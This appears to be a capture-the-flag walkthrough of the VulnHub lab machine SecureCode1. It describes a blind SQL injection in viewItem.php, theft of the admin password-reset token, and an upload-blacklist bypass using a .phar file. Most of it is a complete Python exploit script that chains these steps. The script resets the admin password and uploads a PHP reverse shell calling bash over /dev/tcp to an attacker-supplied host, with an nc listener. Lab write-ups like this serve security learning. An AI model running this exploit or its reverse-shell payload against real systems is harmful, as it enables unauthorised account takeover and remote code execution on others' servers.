https://www.vulnhub.com/entry/securecode-1,651/
Because there is POC code at the end of the blog, so the walkthrough will be simple.
Scan ports, only find 80.
Scan port 80, with extension .zip.
Download source_code.zip, unzip it, and analyse the source code.
From db.sql, we know there are 2 users: admin and customer. Also, there are 4 items.
First we can not bypass login check, because mysqli_real_escape_string bypass some special characters.
To bypass mysqli_real_escape_string, we need number, no string. Apparently, username and password are all string type.
After some checking, we found viewItem.php is the only file, that has no "include "../include/isAuthenticated.php"", and accept number type param "id".
We may do a simple test, if viewItem.php is vulnerable to sql injection.
Be careful of the code, if the query is success, response is 404. We use curl to check the response header code.
┌──(kali㉿mykali)-[~/Documents/securecode] └─$ curl -I "http://192.168.33.129/item/viewItem.php?id=4" HTTP/1.1 404 Not Found ... ┌──(kali㉿mykali)-[~/Documents/securecode] └─$ curl -I "http://192.168.33.129/item/viewItem.php?id=5" HTTP/1.1 302 Found ... Content-Type: text/html; charset=UTF-8 ┌──(kali㉿mykali)-[~/Documents/securecode] └─$ curl -I "http://192.168.33.129/item/viewItem.php?id=5+or+1=1" HTTP/1.1 404 Not Found ... ┌──(kali㉿mykali)-[~/Documents/securecode] └─$ curl -I "http://192.168.33.129/item/viewItem.php?id=5+or+1=2" HTTP/1.1 302 Found ...
So here do have a SQL injection. This is the most hard part I think, the following things are easy.
In order to become admin, we need to reset password, then the server will generate a special token for admin.
"doResetPassword.php" will need this token as param.
Sqlmap can dump all the databases, including token for admin.
Then we can reset the password with this token.
With the new password, we can login as admin, and get 1st flag.
After login, we need to upload reverse shell.
At panel ITEM, we can upload only image files, because some danger files are in blacklist.
We change our reverse shell file to *.phar, then we can successfully bypass the blacklist, and get reverse shell. Then get 2nd flag.
The last step is to write a POC.
Thanks for this great code:https://pastebin.com/JCnqb8ei
I just change it to python3 version, for learning purpose.
''' This POC code is a modified copy of original one: https://pastebin.com/JCnqb8ei Just for self learning and practise. ''' #!/usr/bin/python3 import requests import sys import random import string import re import time import subprocess from colorama import Fore, Back, Style def viewItem(s, target, query): url = f"http://{target}/item/viewItem.php?id=5+or+{query}" r = s.get(url) #Sql get data, target return 404, we return TRUE, means success return int(r.status_code) == 404 def is_injectable(s, target): return viewItem(s, target, "1=1") == True and viewItem(s, target, "1=0") ==False if __name__ == "__main__": if len(sys.argv) != 4: print(f"[+] Usage:{sys.argv[0]} <target> <lhost> <lport>") sys.exit(1) print(Fore.CYAN) print("Poc code for SecureCode1@Vulnhub") print(Fore.RESET) target = sys.argv[1] lhost = sys.argv[2] lport = sys.argv[3] s = requests.Session() #check if sql injection is available if is_injectable(s, target): print(f"{Fore.GREEN}[+] Target is vulnerable!{Fore.RESET}") #reset the admin's password through token print("[*] Sending request to create a password reset token for admin...") s.post(f"http://{target}/login/resetPassword.php", data={"username":"admin"}) print("[*] Dumping admin's reset token...") token_query = "(select+ascii(substr((select+token+from+user+where+id=1),%d,1)))%s%d" admin_token = "" sys.stdout.write(f"{Fore.YELLOW}[+] ") for i in range(1,20): low = 32 high = 126 mid = 0 found = False while low <= high and not found: mid = (high + low) // 2 if viewItem(s,target, token_query % (i,">",mid)): low = mid + 1 elif viewItem(s, target, token_query % (i,"<",mid)): high = mid - 1 else: admin_token += chr(mid) sys.stdout.write(chr(mid)) sys.stdout.flush() found = True if not found: sys.stdout.write(f"{Fore.RESET}\n") break new_password = ''.join(random.choice(string.ascii_lowercase) for _ in range(10)) url = f"http://{target}/login/doChangePassword.php" r = s.post(url, data={"token":admin_token,"password":new_password}) if "Success!" in r.text: print(f"{Fore.GREEN}[+] Admin password changed to: {new_password}{Fore.RESET}") else: print(f"{Fore.RED}[+] Admin password change failed!{Fore.RESET}") sys.exit(-1) # log in as admin url = f"http://{target}/login/checkLogin.php" data = { "username":"admin", "password":new_password } r = s.post(url, data=data) if "Success!" in r.text: print(f"{Fore.GREEN}[+] Successfully logged in as admin.{Fore.RESET}") else: print(f"{Fore.RED}[+] Admin log in failed!{Fore.RESET}") sys.exit(-1) #dump the 1st flag flag_regex = re.compile("FLAG1: [\da-f]*") flag = flag_regex.findall(r.text)[0][7:] print(f"{Style.BRIGHT}{Fore.GREEN}[+] Flag #1 ==> {flag}{Style.RESET_ALL}") #upload reverse shell code print("[*] Uploading reverse shell...") url = f"http://{target}/item/updateItem.php" shell_name = ''.join(random.choice(string.ascii_lowercase) for _ in range(15)) + '.phar' shell_code = f"<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'\");?>" files = { 'id': (None, 1), 'id_user': (None, 1), 'name': (None, 'A Web Shell?'), 'image': (shell_name, shell_code), 'description': (None, 'Oops...'), 'price': (None, 1337) } r = s.post(url, files=files) if "Success" in r.text: print(f"{Fore.GREEN}[+] Reverse shell \"{shell_name}\" successfully uploaded.{Fore.RESET}") else: print(f"{Fore.RED}[+] Shell upload failed!{Fore.RESET}") #connect to shell print("[*] Connecting to reverse shell...") print("[+] Type cat /var/www/flag2.txt") sub = subprocess.Popen(["nc","-nlvp",lport]) s.get(f"http://{target}/item/image/{shell_name}")